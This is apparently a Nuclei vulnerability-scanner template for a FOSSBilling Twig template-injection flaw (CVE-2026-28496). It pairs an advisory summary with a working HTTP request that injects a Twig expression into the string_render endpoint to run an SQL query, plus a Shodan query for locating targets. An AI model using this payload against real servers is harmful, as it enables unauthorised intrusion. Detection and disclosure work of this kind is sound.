A Server-Side Template Injection (SSTI) vulnerability exists in FOSSBilling's template rendering system. Administrators with access to features that render Twig templates (email templates, mass mail campaigns, custom payment adapters, and the string_render API endpoint) can inject arbitrary Twig expressions, leading to information disclosure and remote code execution. The vulnerability exists because Twig templates are rendered without a sandbox, allowing access to the full Twig environment, API context, and the application's dependency injection container.
PoC
id: CVE-2026-28496
info:
name: FOSSBilling - Server-Side Template Injection
author: DhiyaneshDK
severity: critical
description: |
A Server-Side Template Injection (SSTI) vulnerability exists in FOSSBilling's template rendering system. Administrators with access to features that render Twig templates (email templates, mass mail campaigns, custom payment adapters, and the string_render API endpoint) can inject arbitrary Twig expressions, leading to information disclosure and remote code execution. The vulnerability exists because Twig templates are rendered without a sandbox, allowing access to the full Twig environment, API context, and the application's dependency injection container.
impact: |
Administrators can execute arbitrary code and disclose sensitive information, potentially compromising the entire system.
remediation: |
Upgrade to version 0.8.0 or later.
reference:
- https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce
- https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc
- https://x.com/pyn3rd/status/2069260345571696951
metadata:
verified: true
max-request: 1
shodan-query: html:"FOSSBilling"
tags: cve,cve2026,ssti,rce,sqli,fossbilling,vkev
http:
- raw:
- |
POST /api/system/system/string_render HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"_tpl":"{{ guest.getDi().db.getCell(\"SELECT @@version\") }}","_try":false}
skip-variables-check: true
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "[0-9]+\\.[0-9]+\\.[0-9]+"
- '{"result":"'
condition: and
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 200
extractors:
- type: regex
part: body
regex:
- "[0-9]+\\.[0-9]+\\.[0-9]+[\\-a-zA-Z0-9]*"
# digest: 4a0a0047304502207311a0e1ebdd716f6a81c0f4d492b4ea6dd7dd111bef5cbd4dca09c2568f8b9c02210092e85389def43f9a51da3a4d5266ccedd6ab7240bb66655f21c43d1f82c3d4ca:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.